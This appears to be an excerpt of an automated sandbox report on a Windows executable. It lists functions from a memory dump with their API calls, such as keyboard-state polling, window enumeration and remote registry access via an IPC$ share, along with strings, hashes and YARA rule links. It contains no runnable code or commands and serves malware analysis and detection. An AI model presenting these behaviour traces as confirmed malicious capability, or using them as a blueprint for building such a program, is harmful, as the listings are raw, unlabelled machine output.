wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BB1A344F

Strings

Line %d (File "%s"):, xrefs: 00007FF6BB1A3338
"%s" (%d) : ==> %s:, xrefs: 00007FF6BB1A3441
Error: , xrefs: 00007FF6BB1A33E1
Incorrect parameters to object property !, xrefs: 00007FF6BB1A33B0
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF6BB1A341A
^ ERROR , xrefs: 00007FF6BB1A339F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-3080491070
Opcode ID: 59800c54c1d345ecb424e2fcfa2246da67464ce5bbb623b99681ad9037b4dde3
Instruction ID: 433a6aa4421af26af6ebdfa51a4e569aeab8412adf21ec052a58e19c791ead96
Opcode Fuzzy Hash: 59800c54c1d345ecb424e2fcfa2246da67464ce5bbb623b99681ad9037b4dde3
Instruction Fuzzy Hash: 13617531B18A9296EB04DB68E4416FD6361FF49748F901032EB4D976BADF7CE506CB00

Function 00007FF6BB1974B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(000087FFFFFE03FF,00007FF6BB16EA7B,?,?,?,?,?,?,?), ref: 00007FF6BB1974EA
LoadStringW.USER32 ref: 00007FF6BB197505
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 00007FF6BB19751A
LoadStringW.USER32 ref: 00007FF6BB19752C
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BB19766D
MessageBoxW.USER32 ref: 00007FF6BB197685

Strings

Line %d (File "%s"):, xrefs: 00007FF6BB19757F
Line %d:, xrefs: 00007FF6BB19758D
Error: , xrefs: 00007FF6BB197623
^ ERROR, xrefs: 00007FF6BB1975F2
%s (%d) : ==> %s: %s %s, xrefs: 00007FF6BB197650

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 4051287042-2268648507
Opcode ID: 68b2247ec9c07577535dadd4f69f0712e57ab61aa0c6408de1f9cb681492f952
Instruction ID: 520367dc45a8fe7c954b499e607ec18b3401a7bd48136364d88da0a41fbdb377
Opcode Fuzzy Hash: 68b2247ec9c07577535dadd4f69f0712e57ab61aa0c6408de1f9cb681492f952
Instruction Fuzzy Hash: AD518921B18A5792EB00EB68E8414FD6361FF99798F901032EB4D976BADF7CD506C740

Function 00007FF6BB19D4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00007FF6BB19D4B9
Sleep.KERNEL32 ref: 00007FF6BB19D4D7
EnumThreadWindows.USER32 ref: 00007FF6BB19D4FF
FindWindowExW.USER32 ref: 00007FF6BB19D528
SetActiveWindow.USER32 ref: 00007FF6BB19D54B
SendMessageW.USER32 ref: 00007FF6BB19D55F

Part of subcall function 00007FF6BB19B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF6BB19B608
Part of subcall function 00007FF6BB19B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF6BB19B610

SendMessageW.USER32 ref: 00007FF6BB19D57F
Sleep.KERNEL32 ref: 00007FF6BB19D58A
IsWindow.USER32 ref: 00007FF6BB19D597
EndDialog.USER32 ref: 00007FF6BB19D5AA

Part of subcall function 00007FF6BB19B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF6BB19B5F0
Part of subcall function 00007FF6BB19B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF6BB19B5F8
Part of subcall function 00007FF6BB19B5D4: AttachThreadInput.USER32 ref: 00007FF6BB19B61D

Strings

BUTTON, xrefs: 00007FF6BB19D51F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
String ID: BUTTON
API String ID: 3935177441-3405671355
Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction ID: ab6451e8d8281e793bc8a37c16c4111757f8cc097eeaf458a83cfc02d43482f0
Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction Fuzzy Hash: CC314824E09A8782FB149B2DF9947792361BF8D748F494031DB4EC66B2CE3DF4868B00

Function 00007FF6BB1215EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6BB1216C8
KillTimer.USER32 ref: 00007FF6BB1217A3
DestroyAcceleratorTable.USER32 ref: 00007FF6BB169AB2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Destroy$AcceleratorKillTableTimerWindow
String ID:
API String ID: 1974058525-0
Opcode ID: 2ae74a82a6f06563e6c2c5c4916ebfa7778eee006cac500ece4c4ab262848a47
Instruction ID: ea46c6ef5faa6ab028702f0612ecce90390c3b41c967daf92816c06d347c4f19
Opcode Fuzzy Hash: 2ae74a82a6f06563e6c2c5c4916ebfa7778eee006cac500ece4c4ab262848a47
Instruction Fuzzy Hash: 49912635A09A1286EB68DF29E99167933A4FF8DB88F584131CB4EC76B4CF3CE4518340

Function 00007FF6BB197E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF6BB197F01
SetKeyboardState.USER32 ref: 00007FF6BB197F58
GetAsyncKeyState.USER32 ref: 00007FF6BB197F7E
GetKeyState.USER32 ref: 00007FF6BB197F93
GetAsyncKeyState.USER32 ref: 00007FF6BB197FC2
GetKeyState.USER32 ref: 00007FF6BB197FD2
GetAsyncKeyState.USER32 ref: 00007FF6BB198001
GetKeyState.USER32 ref: 00007FF6BB198011
GetAsyncKeyState.USER32 ref: 00007FF6BB198040
GetKeyState.USER32 ref: 00007FF6BB198050
GetAsyncKeyState.USER32 ref: 00007FF6BB19807F
GetKeyState.USER32 ref: 00007FF6BB19808F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: c617befc0bd1dbd4d54129b7722c2ebd01a7f232fb97f78571421a33ec3567e4
Instruction ID: 8a5a635de53ac9501002f2206a85001e14209fef17a986631a4cd0491937eea2
Opcode Fuzzy Hash: c617befc0bd1dbd4d54129b7722c2ebd01a7f232fb97f78571421a33ec3567e4
Instruction Fuzzy Hash: EA716122A4C2C295FB358B28D4502B92B61FF49B8CF980079D7CD476A3CF5DD9468761

Function 00007FF6BB192F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6BB192FB1
GetWindowRect.USER32 ref: 00007FF6BB192FCD
MoveWindow.USER32 ref: 00007FF6BB193048
GetDlgItem.USER32 ref: 00007FF6BB193063
GetWindowRect.USER32 ref: 00007FF6BB193078
MoveWindow.USER32 ref: 00007FF6BB1930E2
GetDlgItem.USER32 ref: 00007FF6BB1930F4
GetWindowRect.USER32 ref: 00007FF6BB193109
MoveWindow.USER32 ref: 00007FF6BB19315B
GetDlgItem.USER32 ref: 00007FF6BB193173
MoveWindow.USER32 ref: 00007FF6BB193198
InvalidateRect.USER32 ref: 00007FF6BB1931AB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction ID: 39548f2a44047bad96144baa5f0c971a9410683d599b236c977263991992d53d
Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction Fuzzy Hash: FC615E72B146418BE718CF6AE44466D77A6F788B88F548139DE49D3F68DF3CE9058B00

Function 00007FF6BB18FF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF6BB18FFAC
SendMessageTimeoutW.USER32 ref: 00007FF6BB1900C8
GetClassNameW.USER32 ref: 00007FF6BB19013C
GetDlgCtrlID.USER32 ref: 00007FF6BB190193
GetWindowRect.USER32 ref: 00007FF6BB1901B9
GetParent.USER32 ref: 00007FF6BB1901D6
ScreenToClient.USER32 ref: 00007FF6BB1901E6
GetClassNameW.USER32 ref: 00007FF6BB190281
GetWindowTextW.USER32 ref: 00007FF6BB1902C1

Strings

%s%u, xrefs: 00007FF6BB190044

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
String ID: %s%u
API String ID: 1412819556-679674701
Opcode ID: 471b516b84a7647fd4691574628735fa1d53b92c229bd2799b629a7d46638598
Instruction ID: 420e452c5b5eac44c6281d846968746f0ae561d2cf4d69d0ef376acc71667379
Opcode Fuzzy Hash: 471b516b84a7647fd4691574628735fa1d53b92c229bd2799b629a7d46638598
Instruction Fuzzy Hash: 1DB1B272B086829AEB19CF29D8486F96764FB49B88F400031DF5D877A6DF3DE556CB00

Function 00007FF6BB19176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF6BB1917DA
GetWindowTextW.USER32 ref: 00007FF6BB191815
CharUpperBuffW.USER32 ref: 00007FF6BB191833
wcsstr.LIBVCRUNTIME ref: 00007FF6BB191866
GetClassNameW.USER32 ref: 00007FF6BB19189C
GetWindowTextW.USER32 ref: 00007FF6BB1918D0
GetClassNameW.USER32 ref: 00007FF6BB19191B
GetClassNameW.USER32 ref: 00007FF6BB191951
GetWindowRect.USER32 ref: 00007FF6BB1919CF

Strings

ThumbnailClass, xrefs: 00007FF6BB1918A7, 00007FF6BB191926

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
String ID: ThumbnailClass
API String ID: 4010642439-1241985126
Opcode ID: 4089a0f050729c67d7336b45243c4151a1a91afee2041f579baef993fdf79b1a
Instruction ID: 9adbde52b72f4b4dc0e543220b33f77fb2bba56ba1288e980cce1dbbff4f26f0
Opcode Fuzzy Hash: 4089a0f050729c67d7336b45243c4151a1a91afee2041f579baef993fdf79b1a
Instruction Fuzzy Hash: 38A19722B0868257EA289F19D4447B96761FF8978CF544035CBCE83AA6DE3DF956CB00

Function 00007FF6BB121504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,?,00000000,?,?,00007FF6BB1212EF), ref: 00007FF6BB1699AC
ExtractIconExW.SHELL32 ref: 00007FF6BB1699CD
LoadImageW.USER32 ref: 00007FF6BB1699EB
ExtractIconExW.SHELL32 ref: 00007FF6BB169A0C
SendMessageW.USER32 ref: 00007FF6BB169A2F
DestroyIcon.USER32 ref: 00007FF6BB169A3E
SendMessageW.USER32 ref: 00007FF6BB169A64
DestroyIcon.USER32 ref: 00007FF6BB169A73

Strings

P, xrefs: 00007FF6BB1699D3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction ID: 4519faf11bec319807042c59e5a5bee3983570c2a2652c1142388f182d667d47
Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction Fuzzy Hash: C7615D36A09A428AEB54DF29E8406792791FB8EBDCF144535EF0E877A8DF3CE4518740

Function 00007FF6BB1A34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6BB1A354D
LoadStringW.USER32 ref: 00007FF6BB1A3571
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BB1A36CB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BB1A36E7

Strings

Line %d (File "%s"):, xrefs: 00007FF6BB1A35C0
"%s" (%d) : ==> %s:, xrefs: 00007FF6BB1A36D9
Error: , xrefs: 00007FF6BB1A367B
^ ERROR, xrefs: 00007FF6BB1A364A
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF6BB1A36B2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-2391861430
Opcode ID: 4bdd4d368305ed2511e7c9b5f66333011c7442f4138e402f4b5ca8b6273d0e40
Instruction ID: c74f621e26dff8a7ad71050ac1a74c0501f44ee55d49b34e1ca021055b8f8dee
Opcode Fuzzy Hash: 4bdd4d368305ed2511e7c9b5f66333011c7442f4138e402f4b5ca8b6273d0e40
Instruction Fuzzy Hash: 32719622B28A9296EB04DB69E4415FD6360FF49788F901032EB5D876B9DF7CE506CB40

Function 00007FF6BB18C034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON

Download Yara Rule

APIs

WNetAddConnection2W.MPR ref: 00007FF6BB18C143
RegConnectRegistryW.ADVAPI32 ref: 00007FF6BB18C164
RegOpenKeyExW.ADVAPI32 ref: 00007FF6BB18C193
RegQueryValueExW.ADVAPI32 ref: 00007FF6BB18C1CD
CLSIDFromString.OLE32 ref: 00007FF6BB18C1F4
RegCloseKey.ADVAPI32 ref: 00007FF6BB18C203
RegCloseKey.ADVAPI32 ref: 00007FF6BB18C20E

Strings

\IPC$, xrefs: 00007FF6BB18C118
\CLSID, xrefs: 00007FF6BB18C0A6
SOFTWARE\Classes\, xrefs: 00007FF6BB18C088

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 3030280669-22481851
Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction ID: a9441212d2a8c770d9586d3505173308386fb7298853efc7c09f959757141626
Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction Fuzzy Hash: EF517322618A8295EB50DF69E8906EE67A0FB98798F404031EB4D87AB9DF7CD585C700

Function 00007FF6BB1CAD1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

MoveWindow.USER32 ref: 00007FF6BB1CAE48
CreateCompatibleDC.GDI32 ref: 00007FF6BB1CAE50
SendMessageW.USER32 ref: 00007FF6BB1CAE67
SelectObject.GDI32 ref: 00007FF6BB1CAE73
GetPixel.GDI32 ref: 00007FF6BB1CAE81
DeleteDC.GDI32 ref: 00007FF6BB1CAE8C
GetWindowLongW.USER32 ref: 00007FF6BB1CAE9A
SetLayeredWindowAttributes.USER32 ref: 00007FF6BB1CAEB4
DestroyWindow.USER32 ref: 00007FF6BB1CAEBE

Strings

static, xrefs: 00007FF6BB1CAD5D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
String ID: static
API String ID: 3821898125-2160076837
Opcode ID: 07e3f444be573a5f56ad52c65b5350ec7a57582bf5bde69e8b4e79c46b6fcd17
Instruction ID: 42f7b20fd76e61a1f50fa8cb151bebca6d1ba00a67172a85baabf9f0e80e3128
Opcode Fuzzy Hash: 07e3f444be573a5f56ad52c65b5350ec7a57582bf5bde69e8b4e79c46b6fcd17
Instruction Fuzzy Hash: 50413C36618B818BEB608F29F444B5AB3A1FB89795F504235DB9D87BA8CF3CD445CB40

Function 00007FF6BB1A3E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF6BB1A3E61
CreateDirectoryW.KERNEL32 ref: 00007FF6BB1A3EB2
CreateFileW.KERNEL32 ref: 00007FF6BB1A3EE4
RemoveDirectoryW.KERNEL32 ref: 00007FF6BB1A3EF6
DeviceIoControl.KERNEL32 ref: 00007FF6BB1A3FA5
CloseHandle.KERNEL32 ref: 00007FF6BB1A3FB2
CloseHandle.KERNEL32 ref: 00007FF6BB1A3FBD

Strings

:, xrefs: 00007FF6BB1A3E9F
\??\%s, xrefs: 00007FF6BB1A3E79
\, xrefs: 00007FF6BB1A3E97

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
String ID: :$\$\??\%s
API String ID: 3827137101-3457252023
Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction ID: 5e6b3fe78f1cee33c8e28f1ef7b7423c6cdc3cc12a2aff595c04d10ef6b58feb
Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction Fuzzy Hash: 53417F22A1868385E7609F29E8046FD63A0FF8979CF540135DB5D97AB8DF7CD64ACB00

Function 00007FF6BB197BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF6BB197BD0
GetAsyncKeyState.USER32 ref: 00007FF6BB197C3F
GetKeyState.USER32 ref: 00007FF6BB197C54
GetAsyncKeyState.USER32 ref: 00007FF6BB197C6D
GetKeyState.USER32 ref: 00007FF6BB197C7D
GetAsyncKeyState.USER32 ref: 00007FF6BB197C97
GetKeyState.USER32 ref: 00007FF6BB197CA7
GetAsyncKeyState.USER32 ref: 00007FF6BB197CC1
GetKeyState.USER32 ref: 00007FF6BB197CD1
GetAsyncKeyState.USER32 ref: 00007FF6BB197CEB
GetKeyState.USER32 ref: 00007FF6BB197CFB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction ID: c6a0fcaa7ac81348d97c36a14b62c11e1777a7095883796ab16ab379e9d703e5
Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction Fuzzy Hash: CF418122E0C6C295FB759B68A4403792A90FF19B48F884039D7DE836E3CF5DB8958371

